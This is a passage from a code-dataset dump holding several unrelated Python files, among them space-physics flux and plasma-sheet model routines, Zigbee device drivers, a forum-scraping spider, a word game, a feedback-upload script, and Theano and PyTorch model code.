in energy_to_flux: kind= ' + kind + ' is not supported')\n\n    j = 1e5*ckm*ckm*v*v/mc2*f\n\n    if energyFlux:\n        j *= ef\n\n    return j\n\n\ndef calculate_electron_flux(ei, ef, x):\n\n    mc2 = 511.0\n\n    k1 = x[0]\n    E1 = x[1]\n    n1 = x[2]\n    k2 = x[3]\n    E2 = x[4]\n    n2 = x[5]\n\n    W1 = E1*(1.0-1.5/k1)\n    W2 = E2*(1.0-1.5/k2)\n\n    # Use gammaln instead of gamma to avoid overflow at large kappa\n\n    kf1 = np.exp(special.gammaln(k1+1)-special.gammaln(k1-0.5))\n    g1 = n1*(mc2/(ckm*ckm*W1*np.pi*k1))**1.5*kf1\n    f1 = g1*(1+ei/(k1*W1))**-(k1+1)\n\n    kf2 = np.exp(special.gammaln(k2+1)-special.gammaln(k2-0.5))\n    g2 = n2*(mc2/(ckm*ckm*W2*np.pi*k2))**1.5*kf2\n    f2 = g2*(1+ei/(k2*W2))**-(k2+1)\n\n    gamf = 1+ef/mc2\n    v = ckm*np.sqrt(gamf*gamf-1.0)/gamf\n\n    j = 1e5*ckm*ckm*v*v/mc2*(f1+f2)\n\n    return j\n\n\ndef calculate_omnidirectional_flux(pav, diffJ, angleDegrees=True, symmetry=True):\n    \"\"\"\n    Calculate the omnidirectional flux given differential flux.\n\n    j_omni(E) = int_0^pi int_0^2pi dphi sinQ dQ j_diff(Q,phi,E)\n              = 2pi int_0^pi dQ sinQ j_diff(Q,E)\n\n    Parameters\n    ==========\n        pav : array\n            Vector (1D array of floats) containing pitch angles for each flux value\n        diffJ : array\n            2D array of floats containing differential fluxes j(a,E)\n        angleDegrees : bool\n            Indicates if pitch angles are in degrees (True) or\n            radians (set to False). Default is True.\n        symmetry : bool\n            Indicates if distribution is assumed symmetric wrt\n            direction of magnetic field, so multiplies fluxes by\n            a factor of two to account for this (basically, this\n            assumes pitch angles are [0,90]). Default is True.\n\n    Returns\n    =======\n        omni : array\n            Vector (1D array of floats) containing omnidirectional fluxes at each energy.\n    \"\"\"\n\n    # Check if array dimensions are reconcilable\n    if(not (pav.size in diffJ.shape)):\n        raise ValueError('Dimension mismatch between PAV and DIFFJ')\n\n    # Put angles in radians if necessary\n    Q = np.deg2rad(pav) if angleDegrees else pav\n\n    # Transpose the flux array if necessary\n    flux = diffJ if pav.size == np.size(diffJ, 1) else diffJ.T\n\n    # Integration weight is 2 pi in azimuth times bin widths\n    coef = 2.0*np.pi*np.diff(Q)\n    if(symmetry):  # If assuming directional symmetry, compensate for missing half\n        coef *= 2.0\n    favg = 0.5*(flux[:, 1:]+flux[:, :-1])\n    savg = np.sin(0.5*(Q[1:]+Q[:-1]))\n\n    # Perform the reduction to approximate the integral\n    omniJ = np.einsum(\"i,ji\", coef*savg, favg)\n\n    return omniJ\n\n\ndef tm03_moments(x, y, swD, getDefaults=False):\n    \"\"\"\n    The Tsyganenko and Mukai [2003] plasma sheet model (with corrected equations).\n\n    Parameters\n    ==========\n        x : float\n            GSM x position in Earth radii\n        y : float\n            GSM y position in Earth radii\n        swD : dict-like\n            A dictionary with the following keys that must be defined:\n              'bperp' Magnitude of the perpendicular component of the interplanetary\n                      magnetic field in nT\n              'theta' Solar wind clock angle in degrees\n              'vx'    Solar wind speed in km/s\n              'n'     Solar wind density in cm-3\n              'p'     Solar wind dynamic pressure in nPa\n\n    Returns\n    =======\n        res : dict\n            A dictionary with the following keys:\n              'P'   Local pressure in nPa\n              'T'   Local temperature in keV\n              'n'   Local ion/electron density in cm-3\n\n    References\n    ==========\n    Tsyganeko, N. A. and T. Mukai (2003), Tail plasma sheet models derived from Geotail particle data,\n        J. Geophys. Res., 108(A3),1136, doi:10.1029/2002JA009707\n\n    Notes\n    =====\n    The output from the TM03 model can be used to set n and Ec inputs to the energy_to_flux routine.\n    \"\"\"\n\n    if(getDefaults):\n        # Create a dictionary with default parameters and return it\n        res = {}\n        res['bperp'] = 5.0\n        res['theta'] = 90.0\n        res['vx'] = 500.0\n        res['n'] = 10.0\n        res['p'] = 3.0\n\n    else:\n        # Evaluate TM03 model using provided parameters\n        aT = np.r_[0.0000, 1.6780, -0.1606, 1.6690, 4.8200, 2.8550, -0.6020, -0.8360,\n                   -2.4910, 0.2568, 0.2249, 0.1887, -0.4458, -0.0331, -0.0241, -2.6890,\n                   1.2220]\n        aN = np.r_[0.0000, -0.1590, 0.6080, 0.5055, 0.0796, 0.2746, 0.0361, -0.0342,\n                   -0.7935, 1.1620, 0.4756, 0.7117]\n        aP = np.r_[0.0000, 0.0570, 0.5240, 0.0908, 0.5270, 0.0780, -4.4220, -1.5330,\n                   -1.2170, 2.5400, 0.3200, 0.7540, 1.0480, -0.0740, 1.0150]\n\n        bperp = swD['bperp']/5\n        bz = swD['bperp']*np.cos(np.deg2rad(swD['theta']))\n\n        if (bz > 0):\n            bzn = bz/5.0\n            bzs = 0.0\n        else:\n            bzn = 0.0\n            bzs = -bz/5.0\n\n        vsw = swD['vx']/500.0\n        nsw = swD['n']/10.0\n        fsw = bperp*np.sqrt(np.sin(np.deg2rad(swD['theta'])/2))\n        rho = np.sqrt(x*x+y*y)/10.0\n        psw = swD['p']/3.0\n        phi = -np.arctan2(y, x)\n        rm1 = rho-1.0\n\n        T = ((aT[1]*vsw+aT[2]*bzn+aT[3]*bzs+aT[4] *\n             np.exp(-(aT[9]*vsw**aT[15]+aT[10]*bzn+aT[11]*bzs)*rm1) +\n             (aT[5]*vsw+aT[6]*bzn+aT[7]*bzs+aT[8] *\n             np.exp(-(aT[12]*vsw**aT[16]+aT[13]*bzn+aT[14]*bzs)*rm1))*np.sin(phi)**2))\n\n        N = ((aN[1]+aN[2]*nsw**aN[10]+aN[3]*bzn+aN[4]*vsw*bzs)*rho**aN[8] +\n             (aN[5]*nsw**aN[11]+aN[6]*bzn+aN[7]*vsw*bzs)*rho**aN[9]*np.sin(phi)**2)\n\n        P = ((aP[1]*rho**aP[6]+aP[2]*psw**aP[11]*rho**aP[7]+aP[3]*fsw**aP[12]*rho**aP[8] +\n             (aP[4]*psw**aP[13]*np.exp(-aP[9]*rho)+aP[5]*fsw**aP[14] *\n             np.exp(-aP[10]*rho))*np.sin(phi)**2))\n\n        res = {'P': P, 'T': T, 'n': N}\n\n    return res\n","sub_path":"ptm_python/ptm_tools.py","file_name":"ptm_tools.py","file_ext":"py","file_size_in_byte":20715,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"20086977","text":"from datetime import datetime, timedelta\nfrom hearth.zigbee import Device as ZDevice\n\n__all__ = ['ZHATemperature', 'ZHAHumidity', 'ZHAOpenClose', 'ZHAPresence', 'ZHASwitch', 'ZHALight', 'ZHALightCT']\n\n\nclass ZHASensor(ZDevice):\n    \"\"\"Temperature device.\"\"\"\n\n    async def __init__(self, mainstate, *args, **kwargs):\n        \"\"\"Init.\"\"\"\n        self.mainstate = mainstate\n        self.divisor = 100\n        self.discrete = True\n        await super().__init__(*args, **kwargs)\n        await super().init_state({mainstate: False})\n\n    def ui(self):\n        \"\"\"Return ui representation.\"\"\"\n        plotdata = []\n        lasttime = str(datetime.now() - timedelta(hours=1)).split('.')[0]\n        if self.discrete:\n            t = tprev = str(datetime.now()).split('.')[0]\n            sprev = self.state[self.mainstate]\n            lstart = (tprev, int(sprev))\n            for t, s, in reversed(self.history):\n                t = t.partition('.')[0]\n                if sprev != s[self.mainstate]:\n                    plotdata.append({'x': lstart[0], 'y': lstart[1]})\n                    plotdata.append({'x': tprev, 'y': lstart[1]})\n                    lstart = (tprev, int(s[self.mainstate]))\n                tprev = t\n                sprev = s[self.mainstate]\n                if t < lasttime:\n                    t = lasttime\n                    break\n            plotdata.append({'x': lstart[0], 'y': lstart[1]})\n            if t != tprev:\n                plotdata.append({'x': t, 'y': lstart[1]})\n        else:\n            for t, s, in reversed(self.history):\n                if self.mainstate not in s:\n                    continue\n                t = t.partition('.')[0]\n                if t < lasttime:\n                    break\n                plotdata.append({'x': t, 'y': s[self.mainstate] / self.divisor})\n        plotdata.reverse()\n\n        return {\n            \"ui\": [\n                {\"class\": \"C3Chart\",\n                 \"state\": \"plotdata\",\n                 \"props\": {\n                     \"data\": {\n                         \"keys\": {\"x\": \"x\", \"value\": [\"y\"]},\n                         \"types\": {\"x\": \"area\"},\n                         \"xFormat\": '%Y-%m-%d %H:%M:%S',\n                     },\n                     \"size\": {\n                         \"height\": 200\n                     },\n                     \"axis\": {\n                         \"x\": {\n                             \"type\": \"timeseries\",\n                             \"tick\": {\"format\": \"%H:%M\"}\n                         },\n                     }\n                 }},\n                {\"class\": \"Text\",\n                 \"props\": {\"label\": \"Battery\", \"format\": \"{} %\"},\n                 \"state\": \"battery\"},\n            ],\n            \"state\": {\"plotdata\": plotdata}}\n\n\nclass ZHATemperature(ZHASensor):\n    \"\"\"Zigbee temperature sensor.\"\"\"\n\n    async def __init__(self, *args, **kwargs):\n        \"\"\"Init.\"\"\"\n        await super().__init__('temperature', *args, **kwargs)\n        self.discrete = False\n\n\nclass ZHAHumidity(ZHASensor):\n    \"\"\"Zigbee temperature sensor.\"\"\"\n\n    async def __init__(self, *args, **kwargs):\n        \"\"\"Init.\"\"\"\n        await super().__init__('humidity', *args, **kwargs)\n        self.discrete = False\n\n\nclass ZHAOpenClose(ZHASensor):\n    \"\"\"Zigbee window/door sensor.\"\"\"\n\n    async def __init__(self, *args, **kwargs):\n        \"\"\"Init.\"\"\"\n        await super().__init__('open', *args, **kwargs)\n\n\nclass ZHAPresence(ZHASensor):\n    \"\"\"Zigbee window/door sensor.\"\"\"\n\n    async def __init__(self, *args, **kwargs):\n        \"\"\"Init.\"\"\"\n        await super().__init__('presence', *args, **kwargs)\n\n\nclass ZHASwitch(ZDevice):\n    \"\"\"ZHASwitch remote driver.\"\"\"\n\n    def ui(self):\n        \"\"\"Return ui representation.\"\"\"\n        return {\"ui\": self.events_ui() + [\n            {\"class\": \"Text\",\n             \"props\": {\"label\": \"Battery\", \"format\": \"{} %\"},\n             \"state\": \"battery\"},\n        ]}\n\n    async def update_state(self, upd_state, set_seen=True):\n        \"\"\"Update state.\"\"\"\n        eventnames = {\n            # big button\n            1001: \"toggle_hold\",\n            1002: \"toggle\",\n            # top button\n            2001: \"up_hold\",\n            2002: \"up\",\n            2003: \"up_release\",\n            # bottom button\n            3001: \"down_hold\",\n            3002: \"down\",\n            3003: \"down_release\",\n            # left button\n            4001: \"left_hold\",\n            4002: \"left\",\n            4003: \"left_release\",\n            # right button\n            5001: \"right_hold\",\n            5002: \"right\",\n            5003: \"right_release\",\n        }\n        if 'buttonevent' in upd_state:\n            self.event(eventnames[upd_state['buttonevent']])\n            await super().update_state({}, set_seen)\n        else:\n            await super().update_state(upd_state, set_seen)\n\n\nclass ZHALight(ZDevice):\n    \"\"\"Base ZHALight driver.\"\"\"\n\n    def ui(self):\n        \"\"\"Return ui representation.\"\"\"\n        return {\"rightIcon\": \"indeterminate_check_box\",\n                \"rightAction\": \"toggle\",\n                \"ui\": [\n                    {\"class\": \"Switch\",\n                     \"props\": {\"label\": \"On\"},\n                     \"state\": \"on\"},\n                    {\"class\": \"Slider\",\n                     \"props\": {\"label\": \"Brightness\",\n                               \"min\": 0,\n                               \"max\": 255,\n                               \"step\": 1},\n                     \"state\": \"bri\"}\n                ]}\n\n    async def set_state(self, upd_state):\n        \"\"\"Set new state.\"\"\"\n        if 'bri' in upd_state\\\n           or 'ct' in upd_state:\n            upd_state['on'] = True\n        await super().set_state(upd_state)\n\n    async def on(self):  # pylint: disable=invalid-name\n        \"\"\"Switch on.\"\"\"\n        await self.set_state({'on': True})\n\n    async def off(self):\n        \"\"\"Switch off.\"\"\"\n        await self.set_state({'on': False})\n\n    async def toggle(self):\n        \"\"\"Toggle.\"\"\"\n        await (self.off() if self.state['on'] else self.on())\n\n    async def brightness(self, bri, transisiontime=0):\n        \"\"\"Set brightness.\"\"\"\n        await self.set_state({'bri': min(max(0, int(bri)), 255),\n                              'transisiontime': transisiontime})\n\n    async def dim_up(self, percent=10, transisiontime=0):\n        \"\"\"Dim up.\"\"\"\n        await self.brightness(\n            self.state['bri'] + 255 * percent / 100, transisiontime)\n\n    async def dim_down(self, percent=10, transisiontime=0):\n        \"\"\"Dim down.\"\"\"\n        await self.brightness(\n            self.state['bri'] - 255 * percent / 100, transisiontime)\n\n\nclass ZHALightCT(ZHALight):\n    \"\"\"ZHALight light with controllable color temperature.\"\"\"\n\n    async def __init__(self, *args, **kwargs):\n        \"\"\"Init.\"\"\"\n        self.ctmin = 250\n        self.ctmax = 454\n        await super().__init__(*args, **kwargs)\n\n    def ui(self):\n        \"\"\"Return ui representation.\"\"\"\n        uix = ZHALight.ui(self)\n        uix['ui'].append(\n            {\"class\": \"Slider\",\n             \"props\": {\"label\": \"Temperature\",\n                       \"min\": self.ctmin,\n                       \"max\": self.ctmax,\n                       \"step\": 1},\n             \"state\": \"ct\"})\n        return uix\n\n    async def temperature(self, ct, transisiontime=0):\n        \"\"\"Set color temperature.\"\"\"\n        await self.set_state({'ct': min(max(self.ctmin, ct), self.ctmax),\n                              'transisiontime': transisiontime})\n\n    async def warmer(self, percent=10, transisiontime=0):\n        \"\"\"Warmer light color.\"\"\"\n        await self.temperature(self.state['ct'] + (self.ctmax - self.ctmin) * percent / 100,\n                               transisiontime)\n\n    async def colder(self, percent=10, transisiontime=0):\n        \"\"\"Colder light color.\"\"\"\n        await self.temperature(self.state['ct'] - (self.ctmax - self.ctmin) * percent / 100,\n                               transisiontime)\n","sub_path":"hearth/devices/zha.py","file_name":"zha.py","file_ext":"py","file_size_in_byte":7881,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"653677186","text":"import requests\n\nreq = requests.get(\"http://inventwithpython.com/\")\nreq.raise_for_status()\nfileOut = open(\"5 Output.txt\", \"wb\")\n\nfor chunk in req.iter_content(100000):\n    fileOut.write(chunk)\n\nfileOut.close()\nprint(\"Done\")","sub_path":"Web Scraping/5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":223,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"605488007","text":"class Vector:\n\n    def __init__(self, x, y):\n        self.x = x\n\n        self.y = y\n\n\n    def __sub__(self, b):\n        return Vector(self.x - b.x, self.y - b.y)\n\n\nv1 = Vector(3, 4)\n\nv2 = Vector(10, 1)\n\nv3 = v1 - v2\n\nprint(v3.x, v3.y)","sub_path":"S04/sub.py","file_name":"sub.py","file_ext":"py","file_size_in_byte":234,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"382837245","text":"#! /usr/bin/env python3\nimport os\nimport requests\n\nscr = '/data/feedback/'\nkeys = ['title', 'name', 'date', 'feedback']\n\nfor files in os.listdir(src):\n  dict = {'title':' ', 'name':' ', 'date':' ', 'feedback':' '}\n  with open(src + files, 'r') as text:\n    i = 0\n    for x in text:\n      dict[keys[i]] = x.rstrip('\\n')\n      i = i + 1\n  print(dict)\n  response = requests.post('http://<external IP>/feedback/', json=dict)\n  print('Response', response.status_code)\n  text.close()\n","sub_path":"week2-run.py","file_name":"week2-run.py","file_ext":"py","file_size_in_byte":478,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"205408578","text":"import scrapy\n\n\nclass KiasuSpider(scrapy.Spider):\n    name = 'kiasuparent'\n\n    start_urls = [\n        'https://forums.hardwarezone.com.sg/forums/pc-gaming.382/',\n    ]\n\n    def parse(self, response):\n        for topic_list in response.xpath('//div[has-class(\"structItem-title\")]'):\n            # for topic in topic_list.xpath('li/dl/dt'):\n            yield {\n                'topic': topic_list.xpath('a/text()').get(),\n            }\n            yield response.follow(topic_list.xpath('a/@href').get(), \\\n                self.parse) # go to the inside data 'content'\n\n        for post in response.xpath('//article[has-class(\"message message--post js-post js-inlineModContainer\")]'):\n            yield {\n                'author': post.css('a.username::text').get(),\n                'content': post.css('div.bbWrapper::text').get(),\n            }\n            break\n\n        next_page = response.xpath('//div[has-class(\"block-outer\")]/div/nav/div/a[has-class(\"pageNav-jump pageNav-jump--next\")]/@href').get()\n        if next_page is not None:\n            yield response.follow(next_page, self.parse)","sub_path":"Scrapy/kiasuparent/kiasuparent/spiders/spider.py","file_name":"spider.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"548777642","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nSpyder Editor\r\n\r\nThis is a temporary script file.\r\n\"\"\"\r\nimport random\r\n\r\ndef choose():\r\n    words=['computer','science','google','microsoft','linux','system','rainbow','yellow','animal','address','affect','analysis','article','appear','authority','benefit','blood','blue']\r\n    pick=random.choice(words)\r\n    return pick\r\n\r\ndef jumble(word):\r\n    jumbled=\"\".join(random.sample(word,len(word)))\r\n    return jumbled\r\n\r\ndef thank(p1n,p2n,p1,p2):\r\n    print(p1n,\"your score is\",p1)\r\n    print(p2n,\"your score is\",p2)\r\n    print(\"Thanks for playing. Have a nice day.....\")\r\n\r\ndef play():\r\n    print(\"Let's stard the Jumbled Word game.....\")\r\n    p1name=input(\"player 1 , enter your name : \")\r\n    p2name=input(\"player 2 , enter your name : \")\r\n    pp1=0\r\n    pp2=0\r\n    turn=0\r\n    while(1):\r\n        picked_word=choose()\r\n        qn=jumble(picked_word)\r\n        print(\"jumbled word is\",qn)\r\n        if turn%2==0:\r\n            print(p1name,'your turn.')\r\n            ans=input(\"what's in my mind : \")\r\n            if ans==picked_word:\r\n                pp1 +=1\r\n            else:\r\n                print(\"better luck next time. I thought\",picked_word )\r\n            c=int(input(\"press 1 to continue and 0 to quit : \"))\r\n            if c==0:\r\n                thank(p1name,p2name,pp1,pp2)\r\n                break\r\n        else:\r\n            print(p2name,'your turn.')\r\n            ans=input(\"what's in my mind : \")\r\n            if ans==picked_word:\r\n                pp2 +=1\r\n            else:\r\n                print(\"better luck next time. I thought\",picked_word )\r\n            c=int(input(\"press 1 to continue and 0 to quit : \"))\r\n            if c==0:\r\n                thank(p1name,p2name,pp1,pp2)\r\n                break\r\n        turn += 1\r\nplay()","sub_path":"Jumble_word_JOC.py","file_name":"Jumble_word_JOC.py","file_ext":"py","file_size_in_byte":1768,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"241910586","text":"# -*- coding: utf-8 -*-\n\nimport numpy as np\nimport theano.tensor as T\n\nfrom ..util import ParameterSet, Model, lookup\nfrom ..component import transfer, loss as loss_\n\n\nclass Linear(Model):\n\n    def __init__(self, n_inpt, n_output, out_transfer, loss):\n        self.n_inpt = n_inpt\n        self.n_output = n_output\n        self.out_transfer = out_transfer\n        self.loss = loss\n\n        super(Linear, self).__init__()\n\n    def init_pars(self):\n        parspec = self.get_parameter_spec(self.n_inpt, self.n_output)\n        self.parameters = ParameterSet(**parspec)\n\n    def init_exprs(self):\n        self.exprs = self.make_exprs(\n            T.matrix('inpt'), self.parameters.in_to_out, self.parameters.bias,\n            self.out_transfer, self.loss)\n\n    @staticmethod\n    def get_parameter_spec(n_inpt, n_output):\n        return {'in_to_out': (n_inpt, n_output),\n                'bias': n_output}\n\n    @staticmethod\n    def make_exprs(inpt, in_to_out, bias, out_transfer, loss):\n        f_out = lookup(out_transfer, transfer)\n        f_loss = lookup(loss, loss_)\n\n        target = T.matrix('target')\n\n        output_in = T.dot(inpt, in_to_out) + bias\n        output = f_out(output_in)\n\n        loss_rowwise = f_loss(target, output).sum(axis=1)\n        loss = loss_rowwise.mean()\n\n        return {\n            'inpt': inpt,\n            'target': target,\n            'output_in': output_in,\n            'output': output,\n            'loss_rowwise': loss_rowwise,\n            'loss': loss\n        }\n","sub_path":"breze/arch/model/linear.py","file_name":"linear.py","file_ext":"py","file_size_in_byte":1499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"410712842","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport torchvision\nimport torchvision.transforms as transforms\nimport torch.utils.data as torch_data\nimport os\nfrom torch.autograd import Variable\nfrom torchvision.utils import save_image\nimport math\nfrom PIL import Image\n\nCUDA = True\nBATCH_SIZE = 4\nEPOCHS = 4\nZDIMS = 20\nSEED = 1\nLOG_INTERVAL = 10\n\nno_of_sample = 10\nkwargs = {'num_workers': 1, 'pin_memory': True,'drop_last':True} if CUDA else {}\n\ntorch.manual_seed(SEED)\nif CUDA:\n    torch.cuda.manual_seed(SEED)\nclass DogDataset(torch_data.Dataset):\n    def __init__(self, img_dir, transform1=None, transform2=None):\n    \n        self.img_dir = img_dir\n        self.img_names = os.listdir(img_dir)\n        self.transform1 = transform1\n        self.transform2 = transform2\n        \n        self.imgs = []\n        for img_name in self.img_names:\n            img = Image.open(os.path.join(img_dir, img_name))\n            \n            if self.transform1 is not None:\n                img = self.transform1(img)\n                \n            self.imgs.append(img)\n\n    def __getitem__(self, index):\n        img = self.imgs[index]\n        \n        if self.transform2 is not None:\n            img = self.transform2(img)\n        \n        return img\n\n    def __len__(self):\n        return len(self.imgs)\n    \ntrain_dataset = DogDataset(img_dir='../input/all-dogs/all-dogs/',\n                           transform1=transforms.ToTensor(),\n                           transform2=None)\ntrain_loader = torch.utils.data.DataLoader(train_dataset, batch_size=BATCH_SIZE, \n                                           shuffle=True, **kwargs)\n\nclass VAE(nn.Module):\n  def __init__(self):\n    super(VAE, self).__init__()\n    self.output_num = [4,2,1]\n    self.conv1 = nn.Conv2d(in_channels=1, out_channels=64, kernel_size=(4, 4), padding=(15, 15),\n                           stride=2)  # This padding keeps the size \n                                      #of the image same, i.e. same padding\n    self.conv1_bn = nn.BatchNorm2d(64)\n    self.conv2 = nn.Conv2d(in_channels=64, out_channels=128, kernel_size=(4, 4), padding=(15, 15), \n                           stride=2)\n    self.conv2_bn = nn.BatchNorm2d(128)\n    self.fc11 = nn.Linear(in_features=2688, out_features=1024)\n    self.fc11_bn = nn.BatchNorm1d(1024)\n    self.fc12 = nn.Linear(in_features=1024, out_features=ZDIMS)\n    #self.conv2_bn1 = nn.BatchNorm2d(128)\n    self.fc21 = nn.Linear(in_features=2688, out_features=1024)\n    self.fc21_bn = nn.BatchNorm1d(1024)\n    self.fc22 = nn.Linear(in_features=1024, out_features=ZDIMS)\n    # For decoder\n    # For mu\n    self.fc1 = nn.Linear(in_features=20, out_features=1024)\n    self.fc1_bn = nn.BatchNorm1d(1024)\n    self.fc2 = nn.Linear(in_features=1024, out_features=3*16 * 16 * 128)\n    self.fc2_bn = nn.BatchNorm1d(3*16 * 16 * 128)\n    self.conv_t1 = nn.ConvTranspose2d(in_channels=3*128, out_channels=3*64, kernel_size=4, padding=1, \n                                      stride=2)\n    self.conv_t1_bn = nn.BatchNorm2d(64)\n    self.conv_t2 = nn.ConvTranspose2d(in_channels=3*64, out_channels=3, kernel_size=4, padding=1, \n                                      stride=2)\n  def spatial_pyramid_pool(self,previous_conv, num_sample, previous_conv_size,\n                           out_pool_size):\n    for i in range(len(out_pool_size)):\n      # print(previous_conv_size)\n      h_wid = int(math.ceil(previous_conv_size[0] / out_pool_size[i]))\n      w_wid = int(math.ceil(previous_conv_size[1] / out_pool_size[i]))\n      h_pad = math.floor((h_wid*out_pool_size[i] - previous_conv_size[0] + 1)/2)\n      w_pad = math.floor((w_wid*out_pool_size[i] - previous_conv_size[1] + 1)/2)\n      maxpool = nn.MaxPool2d((h_wid, w_wid), stride=(h_wid, w_wid), \n                             padding=(h_pad, w_pad))\n      x = maxpool(previous_conv)\n      if(i == 0):\n        spp = x.view(num_sample,-1)\n        # print(\"spp size:\",spp.size())\n      else:\n        # print(\"size:\",spp.size())\n        spp = torch.cat((spp,x.view(num_sample,-1)), 1)\n    return spp\n  def encode(self, x: Variable) -> (Variable, Variable):\n    x = self.conv1_bn(F.elu(self.conv1(x)))\n    x = self.conv2_bn(F.elu(self.conv2(x)))\n    spp = self.spatial_pyramid_pool(x,BATCH_SIZE,[int(x.size(2)),int(x.size(3))],\n                                    self.output_num)\n    #x = x.view(-1, 128 * 28 * 28)\n    mu_z = self.fc11_bn(F.elu(self.fc11(spp)))\n    mu_z = self.fc12(mu_z)\n    logvar_z = self.fc21_bn(F.elu(self.fc21(spp)))\n    logvar_z = self.fc22(logvar_z)\n    return mu_z, logvar_z\n  def reparameterize(self, mu: Variable, logvar: Variable) -> Variable:\n    if self.training:\n      # multiply log variance with 0.5, then in-place exponent\n      # yielding the standard deviation\n      sample_z = []\n      for _ in range(no_of_sample):\n        std = logvar.mul(0.5).exp_()  # type: Variable\n        eps = Variable(std.data.new(std.size()).normal_())\n        sample_z.append(eps.mul(std).add_(mu))\n      return sample_z\n    else:\n      # During inference, we simply spit out the mean of the\n      # learned distribution for the current input.  We could\n      # use a random sample from the distribution, but mu of\n      # course has the highest probability.\n      return mu\n\n  def decode(self, z: Variable) -> Variable:\n\n    x = self.fc1_bn(F.elu(self.fc1(z)))\n    x = self.fc2_bn(F.elu(self.fc2(x)))\n    x = x.view(-1, 3*128, 16, 16)\n    x = self.conv_t1_bn(F.elu(self.conv_t1(x)))\n    x = F.sigmoid(self.conv_t2(x))\n    return x.view(-1, 64,64,3)\n\n  def forward(self, x: Variable) -> (Variable, Variable, Variable):\n    mu, logvar = self.encode(x)\n    z = self.reparameterize(mu, logvar)\n    if self.training:\n      return [self.decode(z) for z in z], mu, logvar\n    else:\n      return self.decode(z), mu, logvar\n\n  def loss_function(self, recon_x, x, mu, logvar) -> Variable:\n    # how well do input x and output recon_x agree?\n    if self.training:\n      BCE = 0\n      for recon_x_one in recon_x:\n          BCE += F.binary_cross_entropy(recon_x_one, x.view(-1, 12288))\n      BCE /= len(recon_x)\n    else:\n        BCE = F.binary_cross_entropy(recon_x, x.view(-1, 12288))\n    KLD = -0.5 * torch.sum(1 + logvar - mu.pow(2) - logvar.exp())\n    # Normalise by same number of elements as in reconstruction\n    KLD /= BATCH_SIZE * 12288\n    return BCE + KLD\n\nmodel = VAE()\nif CUDA:\n    model.cuda()\n    \noptimizer = optim.Adam(model.parameters(), lr=1e-3)\n\ndef train(epoch):\n  # toggle model to train mode\n  model.train()\n  train_loss = 0\n  for batch_idx, (data, _) in enumerate(train_loader):\n    data = Variable(data)\n    if CUDA:\n        data = data.cuda()\n    optimizer.zero_grad()\n    # push whole batch of data through VAE.forward() to get recon_loss\n    recon_batch, mu, logvar = model(data)\n    # calculate scalar loss\n    loss = model.loss_function(recon_batch, data, mu, logvar)\n    # calculate the gradient of the loss w.r.t. the graph leaves\n    # i.e. input variables -- by the power of pytorch!\n    loss.backward()\n    train_loss += loss.item()\n    optimizer.step()\n    if batch_idx % LOG_INTERVAL == 0:\n        print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(epoch, batch_idx * len(data),\n                len(train_loader.dataset), 100. * batch_idx / len(train_loader),\n                loss.item() / len(data)))\n  print('====> Epoch: {} Average loss: {:.4f}'.format(epoch, train_loss / len(train_loader.dataset)))\n\ndef test(epoch):\n  model.eval()\n  test_loss = 0\n  # each data is of BATCH_SIZE (default 128) samples\n  for i, (data, _) in enumerate(test_loader):\n      if CUDA:\n          # make sure this lives on the GPU\n          data = data.cuda()\n      # we're only going to infer, so no autograd at all required: volatile=True\n      data = Variable(data, volatile=True)\n      recon_batch, mu, logvar = model(data)\n      test_loss += model.loss_function(recon_batch, data, mu, logvar).item()\n      if i == 0:\n          n = min(data.size(0), 8)\n          comparison = torch.cat([data[:n],\n                                  recon_batch.view(BATCH_SIZE, 3, 64, 64)[:n]])\n          save_image(comparison.data.cpu(),\n                     './vae_sample/reconstruction_' + str(epoch) + '.png', nrow=n)\n  test_loss /= len(test_loader.dataset)\n  print('====> Test set loss: {:.4f}'.format(test_loss))\n\nfor epoch in range(1, EPOCHS + 1):\n  train(epoch)\n  #test(epoch)\n  sample = Variable(torch.randn(64, ZDIMS))\n  if CUDA:\n      sample = sample.cuda()\n  sample = model.decode(sample).cpu()\n  save_image(sample.data.view(64, 3, 64, 64),'./sample' + str(epoch) + '.png')\n\n","sub_path":"vae-spp.py","file_name":"vae-spp.py","file_ext":"py","file_size_in_byte":8575,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"309859805","text":"from collections import OrderedDict\r\nimport torch\r\nimport torch.nn as nn\r\nimport torchvision\r\nimport math\r\nimport numpy as np\r\nfrom skimage.metrics import peak_signal_noise_ratio as compare_psnr\r\nfrom skimage.metrics import structural_similarity as compare_ssim\r\nfrom pytorch_msssim import ssim as ssim_sys, ms_ssim as ms_ssim_sys, SSIM, MS_SSIM\r\nimport pandas as pd\r\nimport random \r\nimport copy\r\nfrom PIL import Image\r\nimport matplotlib.pyplot as plt\r\nimport pprint\r\n# Import modules\r\n\r\nfrom util import *\r\nfrom sine_layer import *\r\nfrom network import *\r\nfrom fourier_transformation import *\r\nfrom model import *\r\n\r\nfont = {'family' : 'normal',\r\n      'weight' : 'bold',\r\n      'size'  : 15}\r\n\r\nplt.rc('font', **font)\r\n\r\nclass Meta(nn.Module):\r\n\r\n  def __init__(self, \r\n            task_count, tasks, dataset_name, img_name_list_start, img_name_list_end, img_type, downscaling_factor, downscaling_method, patch_size_lr,\r\n\r\n            update_lr, meta_lr, meta_test_update_lr,\r\n\r\n            support_set_size, query_set_size,\r\n\r\n            update_step,\r\n            layer_sizes, use_sine_layer,\r\n            patch_count, fourier_feature_size, sigma,\r\n            use_noise, coord_noise_factor, target_noise_factor, coordinate_sys_option,\r\n            use_trimensional, use_fourier, 